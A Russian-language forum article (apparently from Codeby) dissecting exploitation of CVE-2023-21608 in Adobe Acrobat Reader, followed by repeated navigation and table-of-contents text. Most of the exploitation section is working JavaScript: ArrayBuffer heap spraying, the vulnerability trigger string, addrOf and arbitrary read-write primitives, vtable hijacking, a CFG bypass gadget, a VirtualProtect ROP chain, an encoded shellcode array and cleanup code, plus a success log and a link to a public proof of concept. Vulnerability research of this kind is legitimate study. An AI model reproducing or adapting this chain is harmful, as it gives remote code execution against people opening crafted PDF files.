Содержимое массива организовано в памяти в виде кортежа (тег, значение), где тег используется для идентификации типа, связанного со значением.

Например:

Код:

Number - ffffff81
String - ffffff85
Object - ffffff87

Когда у нас есть out-of-bounds к ArrayBuffer, мы можем распылить большой массив JavaScript сразу после ArrayBuffer и использовать out-of-bounds примитив для чтения адреса любого произвольного объекта JavaScript.
Мы можем увидеть, как наша строка представлена в памяти, сделав дамп памяти указателя выше.

Код:

0:016> dc 0d735fe0
0d735fe0  000000a8 0d735fe8 0061006a 00610076  ....._s.j.a.v.a. 0x0: length, 0x4: ptr to content, 0x8: inlined contents
0d735ff0  00630073 00690072 00740070 00000000  s.c.r.i.p.t.....
0d736000  0bf80fb0 0d734000 0fff1000 00000013  .....@s.........
0d736010  00000228 0c1451f8 00000000 00000000  (....Q..........
0d736020  000000d8 0c0b8638 00000000 00000000  ....8...........
0d736030  000000d8 0c0b8660 00000000 00000000  ....`...........
0d736040  000001e8 0c149bb0 00000000 00000000  ................
0d736050  000000f8 0c0b8890 00000000 00000000  ................

Далее, в процессе эксплуатации, мы будем создавать поддельные строки с помощью ArrayBuffer и использовать одну из распыленных поддельных строк для чтения произвольного содержимого памяти, добиваясь временного примитива произвольного чтения.

Эксплуатация

Использовали .dvalloc, чтобы проверить, есть ли у нас контролируемые сбои при чтении-записи или сбои при вызове произвольного указателя виртуальной функции. Мы обнаружили сбой, который приводит к произвольной записи на нашем контролируемом адресе. *(*ecx) = some_32_value, где ecx - указатель, управляемый пользователем.

Стратегия

Распылите ArrayBuffer, чтобы получить распределение по предсказуемому адресу, например 0x20000048
Grom LFH с нашим заданным шаблоном для повреждения ArrayBuffer по предсказуемому адресу
Спровоцировать уязвимость, чтобы использовать освобожденный буфер и повредить длину ArrayBuffer
Используйте поврежденный ArrayBuffer для создания поддельной строки, чтобы достичь произвольного примитива чтения
Используйте произвольное чтение из поддельной строки для создания поддельного DataView для достижения произвольных примитивов чтения-записи
Повредить виртуальную таблицу поля, чтобы перехватить управление выполнением
Обход CFG
Выполнение шеллкода
Восстановление поврежденных объектов и чистое восстановление

Spraying ArrayBuffer

Код:

var SPRAY = [];

for(var i=0; i<0x2000; i++) {
  SPRAY[i] = new ArrayBuffer(0x10000-24);
  const typedArray = new Uint32Array(SPRAY[i]);
  typedArray[0] = 0x41424344;
  typedArray[1] = 0x41424344;
}

Используя приведенный выше сценарий, мы можем выделить ArrayBuffer по предсказуемому адресу, например 0x20000058.

Нахождение ArrayBuffer

Используя magic markers, мы можем найти буфер в куче памяти, что поможет найти конструктор, выделяющий ArrayBuffer в Adobe Reader.

Примечание: Аллокация ArrayBuffer происходит в коде EScript.api.

Например, при выделении ArrayBuffer размером 0x1020 поиск в памяти magic marker и определение того, кто выделил память, может помочь нам найти конструктор ArrayBuffer.

Код:

0:015> s -d 0 L?0xffffffff 0x41424344
0x4ef0cc00  41424344 45464748 00000000 00000000  DCBAHGFE........

0:015> !ext.heap -p -a 0x4ef0cc00
    address 4ef0cc00 found in
    _DPH_HEAP_ROOT @ 9521000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                4eed11a0:         4ef0cbf0              410 -         4ef0c000             2000
    6ddea8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7714ef0e ntdll!RtlDebugAllocateHeap+0x00000039
    770b6150 ntdll!RtlpAllocateHeap+0x000000f0
    770b57fe ntdll!RtlpAllocateHeapInternal+0x000003ee
    770b53fe ntdll!RtlAllocateHeap+0x0000003e
    767919c7 ucrtbase!_calloc_base+0x00000037
    69481bd5 EScript!sub_10011BAE+0x00000027
    695a15ce EScript!sub_1013153C+0x00000092
    695a1a4e EScript!sub_10131A2C+0x00000022
    695a4bce EScript!sub_10134B68+0x00000066
    695a1d75 EScript!sub_10131D10+0x00000065
    694a95b0 EScript!sub_100394E9+0x000000c7
    694a3505 EScript!js_Interpret+0x00001056
    694a246b EScript!sub_10032412+0x00000059
    694a237b EScript!sub_10032315+0x00000066
    694a22b0 EScript!js_Execute+0x0000007d
    6948b6b0 EScript!JS_EvaluateUCScriptForPrincipals+0x0000008b
    694ca9c6 EScript!JS_EvaluateUCScript+0x0000004d
    694ca6cb EScript!ESExecScript+0x0000010b

Проверка резервной памяти ArrayBuffer (чанк буфера массива + размер заголовка (0x10)).

Код:

0:015> ? 410
Evaluate expression: 1040 = 00000410
0:015> ? 4ef0cc00 - 4ef0cbf0
Evaluate expression: 16 = 00000010
0:015> dc 4ef0cbf0
4ef0cbf0  00000000 00000400 3cc31450 00000000  ........P..<....  +0x4: length, +0x8: typed array ptr
4ef0cc00  41424344 45464748 00000000 00000000  DCBAHGFE........ contents starts here
4ef0cc10  00000000 00000000 00000000 00000000  ................
4ef0cc20  00000000 00000000 00000000 00000000  ................
4ef0cc30  00000000 00000000 00000000 00000000  ................
4ef0cc40  00000000 00000000 00000000 00000000  ................
4ef0cc50  00000000 00000000 00000000 00000000  ................
4ef0cc60  00000000 00000000 00000000 00000000  ................
0:015> ? 0x400
Evaluate expression: 1024 = 00000400

Используя брейкпоинты WinDbg в коде конструктора, мы можем найти адреса, по которым выделяется ArrayBuffer.

Код:

bp Escript+0x131a4e ".printf \"[ArrayBuffer alloc] %p \\n\", eax; gc"

Теперь давайте посмотрим, как выглядит фактический спрей ArrayBuffer в эксплойте.

C++:

function sprayArrBuffers()
{
  for (var i=0; i<0x1500; i++)
  {
    bufs[i] = new ArrayBuffer(ALLOC_SIZE);
    const uintArr = new Uint32Array(bufs[i]);
    for (var k =0; k<16; k++)
    {
      uintArr[k] = 0x33333333;
    }
    uintArr[0] = arrBufPtr + 8; //first deref a = *ecx
    uintArr[1] = 0x41424344; //map size
    uintArr[2] = 0x41424344;
    uintArr[3] = ARR_BUF_BASE - 4;

    // fake string for arbitrary read
    uintArr[FAKE_STR_START] = 0x102; //type
    uintArr[FAKE_STR_START+1] = arrBufPtr+0x40; // buffer
    uintArr[FAKE_STR_START+2] = 0x4;
    uintArr[FAKE_STR_START+3]= 0x4;

    // fake dataview for arbitrary write
    uintArr[FAKE_DV_START] = 0x77777777;
    delete uintArr;
    uintArr = null;
  }

  for (var i=0; i<0x10; i++)
  {
    arrs[i] = new Array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1,2, 3, 4, 5, 6, 7, 8, 9, 10, 11,12,13, 14, 15, 17,18, 19, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25,20,21,22,23);
    arrs[i][0] = 0x47484950;
    arrs[i][1] = targetStr;
    arrs[i][2] = targetDV;
    for (var k=3; k<5000; k++)
    {
      arrs[i][k] = 0x50515051;
    }
  }
}

Аллокация ArrayBuffer по предсказуемому адресу 0x20000048 прошло успешно

Код:

0:011> dc 0x20000048
20000048  00000000 0000ffe8 135c4348 00000000  ........HC\..... +0x4: length, +0x8: typed array
20000058  20000060 00000000 00000000 20000044  `.. ........D..
20000068  33333333 33333333 33333333 33333333  3333333333333333
20000078  33333333 33333333 33333333 33333333  3333333333333333
20000088  33333333 33333333 33333333 33333333  3333333333333333
20000098  00000000 00000000 00000000 00000000  ................
200000a8  00000000 00000000 00000000 00000000  ................
200000b8  00000000 00000000 00000000 00000000  ................

Используя heap grooming с нашим предсказуемым шаблоном адреса и запустив уязвимость, мы видим, что длина ArrayBuffer повреждена/изменена.

Код:

// encoding %u0058%u2000% at offset required by vulnerability
const code =
  "%u4141%u4242%u4343%u4444%u4545%u4646%u4747%u4848%u4949%u4a4a%u4b4b%u4c4c%u4d4d%u4e4e%u4f4f%u5050%u0058%u2000%u5353%u5454%u5555%u5656%u5757%u5858%u5959%u5a5a%u5b5b%u5c5c%u5d5d%u5e5e%u5f5f%u6060%u6161%u6262%u6363%u6464%u6565%u6666%u6767%u6868%u6969%u6a6a%u6b6b%u6c6c%u6d6d%u6e6e%u6f6f%u7070%u7171%u7272%u7373%u7474%u7575%u7676%u7777%u7878%u7979%u7a7a%u7b7b%u7c7c%u7d7d%u7e7e%u7f7f%u8080%u8181%u8282%u8383%u8484";

Код:

0:023> dc 20000048
20000048  00000000 247c3308 243722f0 00000000  .....3|$."7$.... +0x4: length, +0x8: typed array
20000058  20000060 00000000 00000000 20000044  `.. ........D..
20000068  33333333 33333333 33333333 33333333  3333333333333333
20000078  33333333 33333333 33333333 33333333  3333333333333333
20000088  33333333 33333333 33333333 33333333  3333333333333333
20000098  00000000 00000000 00000000 00000000  ................
200000a8  00000000 00000000 00000000 00000000  ................
200000b8  00000000 00000000 00000000 00000000  ................

Длина ArrayBuffer искажается значением указателя, что позволяет осуществлять out-of-bounds read-write вне границ кучи.
Как только уязвимость сработает, поврежденный ArrayBuffer можно найти с помощью приведенного ниже кода.

C++:

for (var i=0; i<bufs.length; i++)
{
  if (bufs[i].byteLength != ALLOC_SIZE)
  {
    console.println("[+] corrupted array buffer found at " + i + " : length: " + bufs[i].byteLength + " : buf length: " + bufs.length);
    ...
  }
}

Out-of-bounds to Arbitrary Read-Write Primitives

После достижения out-of-bounds read-write примитивов на ArrayBuffer, второй JavaScript Array используется для создания примитива addrOf. Чтобы иметь возможность чтения-записи из Array, набор массивов длиной, аналогичной ArrayBuffer, распыляется таким образом, чтобы выделение массива происходило сразу после распыления ArrayBuffer, как показано ниже.

Код:

-------------------------------------------------------------------------------
|        |        |        |         |        |   |       |       |   |       |
|arrbuf_1|arrbuf_2|arrbuf_3|.........|arrbuf_n|...|array_1|array_2|...|array_n|
|        |        |        |         |        |   |       |       |   |       |
-------------------------------------------------------------------------------

Имея out-of-bounds доступ к ArrayBuffer, мы можем найти начало первого массива и использовать его для дальнейшего создания другого набора примитивов.

addrOf - адрес утечки любого объекта JavaScript
poi - утечка значения по заданному адресу (эта начальная форма AAR необходима для создания полного AAR/AAW)
AAR - чтение произвольного значения по заданному адресу
AAW - запись значения по заданному адресу

Spraying large Array

Нам нужно выделить несколько больших Array сразу после нашего распыленного ArrayBuffer
После повреждения длины буфера ArrayBuffer мы можем определить местоположение этого массива и повреждать соседний массив для произвольных чтения-записи примитивов
Однако перераспределение массива JavaScript, похоже, растет по определенной схеме, когда мы пытались добавить в массив большие элементы в цикле

C++:

for(var k = 0; k<N; k++) {
  _arr_.push(0x41414141);
}

После некоторого тестирования мы заметили, что длительность перераспределения можно частично контролировать путем аллокации массива с начальным содержимым.

C++:

// initial contents are ajusted after testing few iterations
// to be maximum enough to be allocated just after sprayed ArrayBuffer
var _arr_ = new Array(1, 2, 3, 4);

Controlled Array Spraying

Массив с инициализатором должен начинаться с аллокаци 0x003f0
Далее, инициализация элементов внутри цикла for должна увеличить размер распределения с помощью reallocs
Увеличение длины массива происходит так: 0x003f0 -> 0x007d0 -> 0x00f90 -> 0x01f10 -> 0x03e10 -> 0x07c10 -> 0x0f810
Повторная аллокация с размером 0x0f810 должны поместить аллокацию массива сразу после последнего ArrayBuffer из нашего спрея
Когда мы читаем out-of-bound из поврежденного ArrayBuffer, мы должны иметь возможность прочитать содержимое распыленного массива

C++:

for (var i = 0; i < 0x10; i++) {
  arrayRefs[i] = new Array(
    1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
    21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
    41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60,
    61, 62
  );
  arrayRefs[i][0] = 0x47484950;
  arrayRefs[i][1] = targetStr;       // string object, we use for arbitrary read
  arrayRefs[i][2] = targetDataView;  // DataView we use for crafting AAR/AAW

  for (var k = 3; k < 5000; k++) {
    arrayRefs[i][k] = 0x50515051;
  }
}

Окончательная аллокация массива должно выглядеть так, как показано ниже.

Код:

EScript!sub_1004DBA9+0xa4:
6a41dc4d 8bf8            mov     edi,eax
0:000> g
24188270  00000000 00000f80 00000f80 00000f80  ................
24188280  47484950 ffffff81 0db3c420 ffffff85  PIHG.... .......
24188290  0dda27c0 ffffff87 50515051 ffffff81  .'......QPQP....
241882a0  50515051 ffffff81 50515051 ffffff81  QPQP....QPQP....
241882b0  50515051 ffffff81 50515051 ffffff81  QPQP....QPQP....
241882c0  50515051 ffffff81 50515051 ffffff81  QPQP....QPQP....
241882d0  50515051 ffffff81 50515051 ffffff81  QPQP....QPQP....
241882e0  50515051 ffffff81 50515051 ffffff81  QPQP....QPQP....

0:015> !ext.heap -p -a 24188270
    address 24188270 found in
    _HEAP @ 4f10000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        24188268 1f03 0000  [00]   24188270    0f810 - (busy)

Где 0db3c420 ffffff85 - targetStr, а 0dda27c0 ffffff87 - targetDataView.

addrOf Primitive

Примитив addrOf приводит к утечке адреса любого объекта JavaScript путем чтения адреса объекта, хранящегося в распыленном Array, используя примитивы, выходящие за границы. CorruptedTypedArr - это типизированный массив с поврежденной длиной ArrayBuffer, а arrStart - это индекс, в котором находится JavaScript Array от начала поврежденного ArrayBuffer. modified_arr - это массив JavaScript из распыленных массивов, который мы будем использовать для искажения и утечки адресов.

C++:

function addrOf(obj)
{
  modified_arr[0] = obj;
  addr = corruptedTypedArr[arrStart+4];
  return addr;
}

Temporary Arbitrary Read Primitive

Примитив poi позволяет нам прочитать значение по произвольному адресу.
Чтобы получить примитив poi, нужно выполнить несколько шагов:

Аллоцируйте строку в глобальной области видимости, например var targetStr = "Hello";
Распылите вышеуказанный строковый объект как элемент в распыленных массивах arrs[i][1] = targetStr;
Распыление поддельной строковой структуры внутри распыленного ArrayBuffer

Код:

uintArr[FAKE_STR_START] = 0x102; //
typeuintArr[FAKE_STR_START+1] = arrBufPtr+0x40; // buffer

4.После достижения out-of-bounds примитивов мы присваиваем фальшивой строке адрес объекта распыленной строки из массива uintArr[arrStart+6] = FAKE_STR;.
5. Теперь targetStr, который был распылен вместе с Array, можно спутать с поддельной струной.
6. Чтение значений с заданного произвольного адреса достигается путем установки addr на указатель буфера поддельной строки, а затем обычного чтения объекта targetStr нашего модифицированного массива. Это позволит нам считывать значения с произвольных адресов.

C++:

function s2h(s) {
  var n1 = s.charCodeAt(0)
  var n2 = s.charCodeAt(1)
  return ((n2<<16) | n1) >>> 0
}

function poi(addr)
{
  // leak values at addr by setting it to string pointer
  corruptedTypedArr[FAKE_STR_START+1] = addr;
  val = s2h(modified_arr[1]);
  return val;
}

Arbitrary Read-Write Primitives

Как только мы достигнем out-of-bounds чтения-записи в ArrayBuffer, мы можем использовать примитивы addrOf и poi для выполнения произвольного чтения. Используя эти примитивы, мы можем получить полные произвольные примитивы чтения-записи, используя объект JavaScript DataView.
Чтобы создать произвольные примитивы чтения-записи с помощью объекта DataView, мы можем выполнить следующие шаги:

Создайте объект DataView с валидным ArrayBuffer и установите для него начальное значение:

C++:

var targetDV  = new DataView(new ArrayBuffer(0x64));
targetDV.setUint32(0, 0x55555555, true);

Распылите объект targetDV как элемент в массиве распыленных массивов:

C++:

for (var i=0; i<0x10; i++)
{
  ...
  arrs[i][2] = targetDV;
  ...
}

Создайте поддельный объект DataView путем распыления ArrayBuffer и установки значения magic number в начале распыления.

C++:

uintArr[FAKE_DV_START] = 0x77777777;

После достижения out-of-bounds примитивов, присвойте поддельный объект DataView адресу распыленного объекта DataView.

C++:

uintArr[arrStart + 8] = FAKE_DV;

Клонируйте содержимое валидного объекта DataView в поддельный DataView, используя ранее созданные примитивы.

C++:

var targetDVPtr = addrOf(targetDV);

for (var k=0; k<32; k++)
{
  corruptedTypedArr[FAKE_DV_START + k] = poi(targetDVPtr + (k * 4));
}

Наконец, для выполнения произвольного чтения-записи установите поддельный указатель ArrayBuffer объекта DataView и выполняйте чтение/запись из объекта DataView.

C++:

function AAR(addr)
{
  corruptedTypedArr[FAKE_DV_START + 20] = addr;
  return modified_arr[2].getUint32(0, true);
}

function AAW(addr, value)
{
  corruptedTypedArr[FAKE_DV_START + 20] = addr;
  modified_arr[2].setUint32(0, value, true);
}

Запуск shellcode'а

Для выполнения шеллкода мы используем примитивы произвольного чтения-записи (AAR/AAW), чтобы обойти ASLR и CFG.
Действовать нужно следующим образом:

Обойти ASLR путем утечки базового адреса AcroForm.api из объекта поля

C++:

var AcroFormApiBase = AAR(AAR(addrOf(testField) + 0x10) + 0x34) - 0x00293fe0

Утечка адреса поля vtable

C++:

var fieldVtblAddr = AAR(AAR(AAR(AAR(addrOf(testField) + 0x10) + 0x10) + 0xc) + 4)
var fieldVtbl = AAR(fieldVtblAddr)

Клонируем vtable в кучу (клонирование необходимо, так как у нас нет разрешения на запись по адресу vtable). Мы клонируем ее на выбранный нами адрес кучи (выбранный из спрея ArrayBuffer) и производим дальнейшие модификации там.

C++:

for(var i=0; i < 32; i++) {
  AAW(arrBufPtr + 0x100 + (i * 4), AAR(fieldVtbl + i * 4));
}

Выполните stack pivoting в нашу контролируемую кучу для выполнения шеллкода. Мы подготовим фальшивый стек на куче с необходимыми деталями, как показано ниже:

C++:

AAW(arrBufPtr+0x100+0x48, AcroFormApiBase+0x6faa60);  // CFG gadget = AcroForm!sub_20EFAA60;
AAW(arrBufPtr+0x100+0x30, AcroFormApiBase+0x256984);  // 0x6b5e6984: mov esp, eax; dec ecx; ret;
AAW(arrBufPtr+0x100, AcroFormApiBase+0x1e646);        // 0x6b3ae646: pop esp; ret;
AAW(arrBufPtr+0x100+4, arrBufPtr+0x300);              // our pivoted stack
AAW(fieldVtblAddr, arrBufPtr+0x100);                  // field vtable

Установите ROP и выполните шеллкод

C++:

var rop = [
  AAR(AcroFormApiBase+0x007da108),  // virtualprotect
  arrBufPtr+0x400,                  // return address
  arrBufPtr+0x400,                  // buffer
  0x1000,                           // sz
  0x40,                             // new protect
  arrBufPtr+0x340
];

for(var i=0; i < rop.length; i++) {
  AAW(arrBufPtr + 0x300 + 4 * i, rop[i]);
}

var shellcode = [ 0x90909090,
  835867240, 1667329123, 1415139921, 1686860336, 2339769483,
  1980542347, 814448152, 2338274443, 1545566347, 1948196865,
  4270543903, 605009708, 390218413, 2168194903, 1768834421,
  4035671071, 469892611, 1018101719, 2425393296 ];

for(var i=0; i < shellcode.length; i++) {
  AAW(arrBufPtr+0x400+i*4, re(shellcode[i]));
}

Наконец, вызовите шеллкод, обратившись к свойству defaultValue объекта testField.

C++:

var ret = testField.defaultValue;

Control Flow Guard (CFG) Bypass

В Adobe Acrobat Reader по умолчанию включен CFG, поэтому невозможно вызвать шеллкод напрямую. Предыдущие версии эксплойтов полагались на использование не CFG модулей в Adobe Reader для создания цепочки ROP, но в новых версиях все модули включены в CFG.

Один из способов обойти это - использовать call sites, не оснащенные CFG. В Adobe Acrobat Reader мы обнаружили несколько не CFG-инструментированных call sites, которые можно использовать для обхода CFG. Одной из таких функций является sub_20EFAA60, которая позволяет нам вызвать адрес, который мы контролируем, сохраняя его в регистре ecx.

Код:

.text:20EFAA60 ; int __thiscall sub_20EFAA60(void *this)
.text:20EFAA60 sub_20EFAA60    proc near               ; DATA XREF: .rdata:20FF8C11↓o
.text:20EFAA60                                         ; .rdata:21131674↓o ...
.text:20EFAA60                 mov     eax, [ecx]
.text:20EFAA62                 push    0Dh
.text:20EFAA64                 call    dword ptr [eax+30h]
.text:20EFAA67                 retn
.text:20EFAA67 sub_20EFAA60    endp

Это может быть использовано для управления выполнением программы и выполнения шеллкода.

Context Restoration and Recovery

После выполнения шеллкода программа Acrobat Reader завершает работу, поскольку соответствующий контекст не был восстановлен. Чтобы Adobe Acrobat Reader продолжал работать после эксплуатации, важно восстановить этот контекст.
Это включает в себя несколько этапов:

Восстановление targetStr и targetDV с помощью поддельной строки и DataView, которые были созданы ранее
Восстановление исходной таблицы vtable, которая была захвачена для выполнения кода
Исправление любых повреждений, вызванных повреждением ArrayBuffer, и других побочных эффектов этого повреждения
Восстановление стека (это делается в части восстановления шеллкода)
Восстановление ESP до значения по умолчанию (это также делается в части восстановления шеллкода)
Резервное копирование исходных значений до повреждения, чтобы их можно было восстановить после выполнения шеллкода (это показано в приведенном ниже фрагменте)

В приведенном ниже фрагменте показано, как некоторые из исходных значений резервируются перед повреждением, чтобы их можно было восстановить после выполнения шеллкода.

Код:

log("[+] Storing recovery context");

AAW(FAKE_STACK_PTR + 0x60, fieldVtblAddr);                // original vtable ptr (goes back in ECX)
AAW(FAKE_STACK_PTR + 0x64, fieldVtbl);                    // vtable funcs ptr
AAW(FAKE_STACK_PTR + 0x68, originalDefaultValFunc);       // original defaultVal impl to jump to
AAW(FAKE_STACK_PTR + 0x6c, AAR(ARRAY_BUFFER_BASE + 8));   // corrupted ArrayBuffer typed array ptr
AAW(FAKE_STACK_PTR + 0x70, AAR(ARR_BUF_MALLOC_BASE));     // malloc header 0
AAW(FAKE_STACK_PTR + 0x74, AAR(ARR_BUF_MALLOC_BASE + 4)); // malloc header 1

Exploit Log

Код:

[+] Acrobat Reader Remote Code Execution
    [*] Version: 21.01120039
[+] Spraying ArrayBuffer of size: 0xffe8
[+] Grooming LFH blocks of size: 68 count: 4000
[+] Triggering garbage collection
[+] Triggering vulnerability
[+] Finding required objects
    [*] Corrupted ArrayBuffer idx: 4604 byteLength: 0x24043250
    [*] addrOf Array start idx: 13221884
    [*] addrOf Array idx: 0
[+] Gaining arbitrary read & write primitive
    [*] Crafting fake DataView: 0x200001d8
[+] Fixing corrupted objects
    [*] Typed array pointer
    [*] Typed array node pointers
    [*] V1 Idx: 4602 address: 0x131cf240 value: 0xd0b8600 correct value: 0xd0b86a0
    [*] ArrayBuffer field
    [*] Fake string
[+] Finding required modules
    [*] AcroForm.api: 0x6ef70000
    [*] KERNEL32.dll: 0x769a0000
    [*] VirtualProtect: 0x769c04c0
[+] Finding gadgets in AcroForm.api
    [*] CFG bypass gadget: 0x6f66aa60
    [+] Stack pivot gadgets
        [*] xchg eax, esp; ret: 0x6ef8e5e6
        [*] pop esp; ret: 0x6ef8e646
[+] Setting up ROP and shellcode
    [*] Payload: 0x2459edd8
[^] Executing payload
[+] Exploit duration: 6.172 seconds

64-bit Exploitation

Уязвимость CVE-2023-21608 также затрагивала 64-битную версию Adobe Reader. Оценили возможность эксплуатации этой ошибки на 64-битной версии. Однако мы столкнулись с двумя серьезными препятствиями:

Распыление кучи больше невозможно в 64-битном адресном пространстве. Следовательно, мы больше не можем полагаться на технику распыления ArrayBuffer, описанную выше, для выделения управляемых данных по предсказуемым адресам. Теперь нам нужен отдельный баг info-leak для дальнейшей эксплуатации.
Но найти утечку информации - задача несложная. Основная проблема, которая делает этот баг бесполезным для 64-битной эксплуатации, заключается в том, что распыленные строки используются в качестве объектов агрегации, где из распыленной строки создаются новые строки. При создании новой строки учитываются стандартные нулевые терминаторы языка Си. Мы не можем использовать адреса, в которых есть два последовательных байта NULL. Это остановит копирование строки, и мы никогда не сможем перераспределить освободившуюся память с контролируемым куском, в котором есть адрес утечки ArrayBuffer. Ошибка больше не будет эффективной и воспроизводимой. Это ограничивает нас от возможности эксплуатации этой ошибки на 64-битной версии.

POC

GitHub - hacksysteam/CVE-2023-21608: Adobe Acrobat Reader - CVE-2023-21608 - Remote Code Execution Exploit

Adobe Acrobat Reader - CVE-2023-21608 - Remote Code Execution Exploit - hacksysteam/CVE-2023-21608

github.com

Demo

---------------------------------------------------------------
Хочу передать респект всем, кто дочитал эту статью! Я очень устал её писать, если честно... Если вам интересны настолько глубокие разборы, то делитесь статьёй, ставьте лайки и пишите комменты.

Последнее редактирование модератором: 16.03.2023

Реакции: Dmitry888, w3dn35d4y, NoName54754 и ещё 11

Нажмите, чтобы раскрыть...

Все сервисы Codeby

Поиск

Поиск

Статья Adobe Acrobat Reader CVE-2023-21608 RCE: разбор уязвимости

Об уязвимости

CVE ID

Vendor

Products

Proof of Concept

Crash State

Stack Trace

Анализ причины появления бага

Heap Grooming

Внутренние компоненты SpiderMonkey в EScript.API

ArrayBuffer

Массив

Эксплуатация

Стратегия

Spraying ArrayBuffer

Нахождение ArrayBuffer

Out-of-bounds to Arbitrary Read-Write Primitives

Spraying large Array

Controlled Array Spraying

addrOf Primitive

Temporary Arbitrary Read Primitive

Arbitrary Read-Write Primitives

Запуск shellcode'а

Control Flow Guard (CFG) Bypass

Context Restoration and Recovery

Exploit Log

64-bit Exploitation

POC

GitHub - hacksysteam/CVE-2023-21608: Adobe Acrobat Reader - CVE-2023-21608 - Remote Code Execution Exploit

Demo

datchr

ErrNick

New member

szybnev

error404_not-found

Статья Adobe Acrobat Reader CVE-2023-21608 RCE: разбор уязвимости

Об уязвимости​

CVE ID​

Vendor​

Products​

Proof of Concept​

Crash State​

Stack Trace​

Анализ причины появления бага​

Heap Grooming​

Внутренние компоненты SpiderMonkey в EScript.API​

ArrayBuffer​

Массив​

Эксплуатация​

Стратегия​

Spraying ArrayBuffer​

Нахождение ArrayBuffer​

Out-of-bounds to Arbitrary Read-Write Primitives​

Spraying large Array​

Controlled Array Spraying​

addrOf Primitive​

Temporary Arbitrary Read Primitive​

Arbitrary Read-Write Primitives​

Запуск shellcode'а​

Control Flow Guard (CFG) Bypass​

Context Restoration and Recovery​

Exploit Log​

64-bit Exploitation​

POC​

GitHub - hacksysteam/CVE-2023-21608: Adobe Acrobat Reader - CVE-2023-21608 - Remote Code Execution Exploit

Demo​

datchr

ErrNick

New member

szybnev

error404_not-found

Об уязвимости

CVE ID

Vendor

Products

Proof of Concept

Crash State

Stack Trace

Анализ причины появления бага

Heap Grooming

Внутренние компоненты SpiderMonkey в EScript.API

ArrayBuffer

Массив

Эксплуатация

Стратегия

Spraying ArrayBuffer

Нахождение ArrayBuffer

Out-of-bounds to Arbitrary Read-Write Primitives

Spraying large Array

Controlled Array Spraying

addrOf Primitive

Temporary Arbitrary Read Primitive

Arbitrary Read-Write Primitives

Запуск shellcode'а

Control Flow Guard (CFG) Bypass

Context Restoration and Recovery

Exploit Log

64-bit Exploitation

POC

Demo